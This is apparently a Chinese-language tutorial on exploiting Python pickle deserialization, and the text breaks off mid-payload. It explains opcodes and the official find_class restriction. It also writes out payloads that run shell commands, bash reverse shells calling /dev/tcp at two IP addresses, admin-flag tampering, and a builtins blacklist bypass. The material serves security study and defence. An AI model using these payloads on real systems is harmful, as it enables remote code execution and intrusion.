pickle反序列化

pickle反序列化

前置

什么是Pickle

pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。

当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal存在主要是为了支持 Python 的.pyc文件。现在开发时一般首选pickle。

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。

image-20240319204712798

pickle工作原理

python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同

其实pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。

PVM由以下三部分组成:

  • 指令处理器(引擎)

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

    从头开始读取流中的操作码和参数 并对其进行解释处理在这个过程中会改变栈区和标签区直到遇到.这个结束符后停止处理结束之后会到达栈顶形成并返回反序列化的对象

  • stack(栈区)

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

    作为流数据处理过程中的暂存区在不断的进出过程中完成对数据流的反序列化并最终在栈上生成反序列化的结果 由python的list实现

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

    如同其名 是数据的一个索引 或者 标记 由python的dict实现为PVM整个生命周期提供存储

image-20240319210513560

栈是一种存储数据的结构.栈有压栈和弹栈两种操作.

可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹.

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

pickle协议是向前兼容的 ,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外

pickle模块常见方法及接口

也就是pickle库中 序列化与反序列化的一些方法

pickle.dump(*obj*, *file*, *protocol=None*, ***, *fix_imports=True*)

将打包好的对象 obj 写入文件中,其中protocol为pickling的协议版本(下同)。

pickle.dumps(*obj*, *protocol=None*, ***, *fix_imports=True*)

obj 打包以后的对象作为bytes类型直接返回。

pickle.load(*file*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从文件中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(*data*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从data中读取二进制字节流,将其反序列化为一个对象并返回。

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

两个dump函数是把python对象转换为二进制对象(序列化),两个load函数是把二进制对象转换为python对象(反序列化)

import pickle

class Person():
def __init__(self):
self.age=18
self.name="Pickle"

p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'


P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle

如上述代码

这里我创建了一个Person类,其中有两个属性age和name。我首先使用了pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

能够序列化的对象

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包

对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError 异常

常用opcode

在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
MARK           = b'('   # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly

S : 后面跟的是字符串
( :作为命令执行到哪里的一个标记
t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中
c :定义模块名和类名(模块名和类名之间使用回车分隔)
R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中
. :点号是结束符

例:

opcode=cos
system
(S'/bin/sh'
tR.

第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中

然后的( 是标记符 我们将一个标记放入栈中

S的后面是字符串 放入栈中

t将栈中标记之前的内容取出来转化成元组 再存入栈中(’/bin/sh’,)随后 标记消失

然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system(‘/bin/sh’) 然后再将结果存入栈中

简单pickle反序列化漏洞

import pickle
import os

class Person():
def __init__(self):
self.age=18
self.name="Pickle"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(opcode)

P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

Person类中加入了__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。因此当上述的Person对象被unpickling时,就会执行os.system(command)

__reduce__() 其实是 object类中的一个魔术方法,它会在反序列化过程开始时被调用,我们可以通过重写object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python 要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1para2 … 后面再详细解释

python的魔术方法

由此 可以看下python的魔术方法

和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果.

除此之外还有很多魔术方法.例如初始化函数__init__和构造函数__new__.和php类似,python中也有魔法属性.例如__doc__,__name__,__class__,__base__等.

pickle.loads()会在反序列化一个实例时自动引入没有引入的库.

构造方法__new__

  • 在实例化一个类时自动被调用,是类的构造方法.
  • 可以通过重写__new__自定义类的实例化过程

初始化方法__init__

  • __new__方法之后被调用,主要负责定义类的属性,以初始化实例

析构方法__del__

  • 在实例将被销毁时调用
  • 只在实例的所有调用结束后才会被调用

__getattr__

  • 获取不存在的对象属性时被触发
  • 存在返回值

__setattr__

  • 设置对象成员值的时候触发
  • 传入一个self,一个要设置的属性名称,一个属性的值

__repr__

  • 在实例被传入repr()时被调用
  • 必须返回字符串

__call__

  • 把对象当作函数调用时触发

__len__

  • 被传入len()时调用
  • 返回一个整型

__str__

  • str(),format(),print()调用时调用,返回一个字符串

在未增加__reduce__时,我们的序列化内容是一串基于上面提到的操作码的 bytes,我们可以利用 pickletools 将这里的 opcode 转化成我们更易读的形式

pickletools是python的一个内建模块,常用的方法有pickletools.dis(),用于把一段opcode转换为易读的形式,

import opcode
import pickletools

opcode = b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
pickletools.dis(opcode)

'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ Person'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'age'
37: q BINPUT 3
39: K BININT1 18
41: X BINUNICODE 'name'
50: q BINPUT 4
52: X BINUNICODE 'Pickle'
63: q BINPUT 5
65: u SETITEMS (MARK at 28)
66: b BUILD
67: . STOP
highest protocol among opcodes = 2
'''

Pker

这是一个可以遍历Python AST的形式 来自动化解析 pickle opcode的工具

https://github.com/EddieIvan01/pker 也可以使用这个工具来生成,在后续部分操作码被限制的时候某些情况下还是很好用的

Pker可以做到什么

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

使用方法与实例

pker最主要的有三个函数GLOBAL()INST()OBJ()

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no

return可以返回一个对象

return           =>  .
return var => g_\n.
return 1 => I1\n.

当然你也可以和Python的正常语法结合起来,下面是使用示例

pker_test.py

i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
命令行下
$ python3 pker.py < pker_tests.py

b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."

自动解析并生成了我们所需的opcode。

手搓opcode

我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式了

在opcode中,.是程序结束的标志。我们可以通过去掉.来将两个字节流拼接起来

在pickle中,函数执行的字节码主要有有三个:Rio,所以我们可以从三个方向构造paylaod

另外还有b操作符 也是可以构造paylaod

20200320230711-7972c0ea-6abc-1

R操作符

对应函数如下

def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)

弹出栈作为函数执行的参数 参数需要是元组形式 随后取栈中最后一个元素作为函数 将指向结果赋值给此元素

opcode1=b'''cos
system
(S'whoami'
tR.'''
cos\nsystem\n

i操作符

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

image-20240319223011879

读取下面两行分别为module和name 然后 利用 find_class 寻找对应的方法 pop_mark 获取参数

i操作符将寻找前面的mark来闭合 中间的数据作为元组 将其作为函数参数

(X\x06\x00\x00\x00whoamiios\nsystem\n.

X向后读取四个字符串 将我们的whoami命令压入栈中 i将向后读取 模块与方法os.system 将前面的参数执行

image-20240319223116907

pop_mark的代码如下

先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items

image-20240319223058153

opcode2=b'''(S'whoami'
ios
system
.'''

o操作符

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象

image-20240319223201321

pop_mark我们上面看到了 就是可以弹出栈内的元素 这里的args就是 先弹出栈中的一个元素作为参数 然后 再弹出第一个元素作为函数

最后 使用instantiate函数进行自执行

可以如下构造

b"(cos\nsystem\nX\x06\x00\x00\x00whoamio."

image-20240319223219061

opcode3=b'''(cos
system
S'whoami'
o.'''

b操作符

image-20240319223240426

当栈中存在__setstate__时 会执行setstate(state) 也就是 这里我们如果自己写一个__setstate__类 构造os.system 和 whoami即可执行命令

s字符的源码 是将

image-20240319223258882

c__main__\ntest\n)\x81}X\x0c\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.

image-20240319223319867

首先 搞了主函数和类 __main__和test 随后 插入空元组和空字典 然后写入__setstate__ c再向后读 得到os.system 字符s将第一个元素和第二个元素作为键值对 插入到第三个元素之中{__main__.test:()},__setstate__,os.system b字符使第一个元素出栈 也就是{'__setstate__':os.system} 执行一次 setstate(state) 随后插入whoami然后弹出 执行os.system(whoami)

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

漏洞利用

命令执行

可以使用R,i,o,b等操作码实现命令执行

法一

基本的构造如下:

c<module>
<callable>
(<args>
tR

填充上内容也就是:

cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls',))

这样就是一个最基础的 getshell 的构造

其中 c 操作码指向的实际上是一个 self.find_class(modname, name); 可以在源码中找到

def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)

c操作符把find_class()函数返回的一个类对象压入栈,通过__import__()引入了模块并且通过self.proto判断pickle版本处理了不同版本的函数名称问题.

使用其他操作符同理

i: opcode=b’’’(S’calc’ ios system .’’’

o: opcode=b’’’(cos system S’calc’ o.’’’

注:pickle.loads 是可以自动 import 的,这一点为我们的攻击提供了方便

法二

我们还可以重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令

import pickle
import os

class Test(object):
def __reduce__(self):
return (os.system,('calc',))

print(pickle.dumps(Test(), protocol=0))

# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

利用 pickle 的 __reduce__ 可以直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',)) 的构造。( 缺点:只能执行单一的函数,很难构造复杂的操作 )

法三

上文也是提到过

opcode 都会以 . 结束,我们在程序正常的 opcode 之后去掉 . 再拼接上我们的内容即可命令执行

import pickle

opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

法四

配合反弹shell

payload:

b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'"
tR.
import base64
a='''V__setstate__
(S"bash -c 'bash -i >& /dev/tcp/124.223.91.44/2333 0>&1'"
ios
system
.'''
print(base64.b64encode(a.encode()))

操控实例化对象的属性

例1

import pickle

class Person:
def __init__(self,age,name):
self.age=age
self.name=name


opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''

p=pickle.loads(opcode)
print(p)
print(p.age,p.name)

###
<__main__.Person object at 0x00000223B2E14CD0>//地址,会根据您运行代码的机器和 Python 解释器的不同而不同
18 Pickle

以上opcode相当于手动执行了构造函数Person(18,'Pickle'),改变了实例化的属性

例2

假设有如下内容限制用户权限:

import pickle

class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest

假设正常我们以访客登录时会传入如下 pickle 序列化内容

import pickle

class User:
def __init__(self):
self.admin=False
self.guest=True

u = User()
print(pickle.dumps(u))

# b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'

'''
0: \x80 PROTO 3
2: c GLOBAL '__main__ User'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: ( MARK
27: X BINUNICODE 'admin'
37: q BINPUT 3
39: \x89 NEWFALSE
40: X BINUNICODE 'guest'
50: q BINPUT 4
52: \x88 NEWTRUE
53: u SETITEMS (MARK at 26)
54: b BUILD
55: . STOP
highest protocol among opcodes = 2
'''

那么我们对登陆时的 \x89 \x88 进行调换,

b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'

b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'

即可得到如下实例化结果:

import opcode
import pickle
import pickletools

class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest

opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
#pickletools.dis(opcode)

fakeUser = pickle.loads(opcode)
print(fakeUser.admin,fakeUser.guest)

# True False

可见将admin与guest的权限改了

变量覆盖

在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。

假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造。

#secret.py
secret="This is a key"
import pickle
import secret

print("secret变量的值为:"+secret.secret)

opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)

print("secret变量的值为:"+fake.secret)

###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

我们首先通过c来获取__main__.secret模块,然后将字符串secretHack!!!压入栈中,然后通过字节码d将两个字符串组合成字典{'secret':'Hack!!!'}的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key",是以{'secret':'This is a key'}形式存储的。最后再通过字节码b来执行__dict__.update(),即{'secret':'This is a key'}.update({'secret':'Hack!!!'}),因此最终secret变量的值被覆盖成了Hack!!!

官方对此漏洞的修复

对于pickle反序列化漏洞,官方的第一个建议就是永远不要unpickle来自于不受信任的或者未经验证的来源的数据。第二个就是通过重写Unpickler.find_class()来限制全局变量,我们来看官方的例子

import builtins
import io
import pickle

safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)


###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

以上例子通过重写Unpickler.find_class()方法,限制调用模块只能为builtins,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle时的安全性。

不过,假如Unpickler.find_class()中对于模块和函数的限制不是那么严格的话,我们仍然有可能绕过其限制。

bypass

绕过find_class

想要绕过find_class,我们则需要了解其何时被调用。在官方文档中描述如下

出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同,Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。

在opcode中,ci\x93这三个字节码与全局对象有关,当出现这三个字节码时会调用find_class,当我们使用这三个字节码时不违反其限制即可。

绕过builtins

在一些例子中,我们常常会见到module=="builtins"这一限制,比如官方文档中的例子,只允许我们导入builtins这一模块

if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)

那么什么是builtins模块呢?

当我们启动Python之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用

这类函数被我们称为”内置函数”,这其实就是builtins模块的功劳,这些内置函数都是包含在builtins模块内的。而Python解释器在启动时已经自动帮我们导入了builtins模块,所以我们自然就可以使用这些内置函数了。

我们可以通过for i in sys.modules['builtins'].__dict__:print(i)来查看该模块中包含的所有模块函数等,大致如下

image-20240320224132308

可以看到有不少命令执行函数,可以直接使用

假如内置函数中一些执行命令的函数也被禁用了,而我们仍想命令执行,那么漏洞的利用思路就类似于Python中的沙箱逃逸。

我们来看下面一个例子,这是code-breaking 2018 picklecode中的一个例子

import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

代码使用了Unpickler.find_class()限制了使用的模块只能为builtins,并且禁用了内置的危险函数,这时我们应该怎么利用呢

法1

我们可以借鉴Python沙箱逃逸的思路,获取我们想要的函数。代码没有禁用getattr()函数,getattr可以获取对象的属性值。因此我们可以通过builtins.getattr(builtins,'eval')的形式来获取eval函数

image-20240320224500164

接下来我们得构造出一个builtins模块来传给getattr的第一个参数,我们可以使用builtins.globals()函数获取builtins模块包含的内容

import builtins
print(builtins.globals())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}

从中我们可以看出builtins模块中仍包含builtins模块。由于返回的结果是个字典,所以我们还需要获取get()函数

由此最终构造的payload为builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)

思路有了,下面就是手写opcode了。首先获取get函数

import pickle
import pickletools

opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode)
print(pickle.loads(opcode))

###结果如下
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins dict'
34: S STRING 'get'
41: t TUPLE (MARK at 18)
42: R REDUCE
43: . STOP
highest protocol among opcodes = 0
<method 'get' of 'dict' objects>

然后获取globals()字典

import pickle
import pickletools

opcode2=b'''cbuiltins
globals
)R.
'''

pickletools.dis(opcode2)
print(pickle.loads(opcode2))

###结果如下
0: c GLOBAL 'builtins globals'
18: ) EMPTY_TUPLE
19: R REDUCE
20: . STOP
highest protocol among opcodes = 1

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001EF06A308B0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:/Users/34946/Desktop/安全学习/Pickle_Learning/Pickle_builtins1.py', '__cached__': None, 'pickle': <module 'pickle' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickle.py'>, 'pickletools': <module 'pickletools' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickletools.py'>, 'opcode1': b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR.\n", 'opcode2': b'cbuiltins\nglobals\n)R.\n'}

现在我们有了get(),有了globals()字典,把他们组合起来我们就能够获取builtins模块了

import pickle
import pickletools

opcode3=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
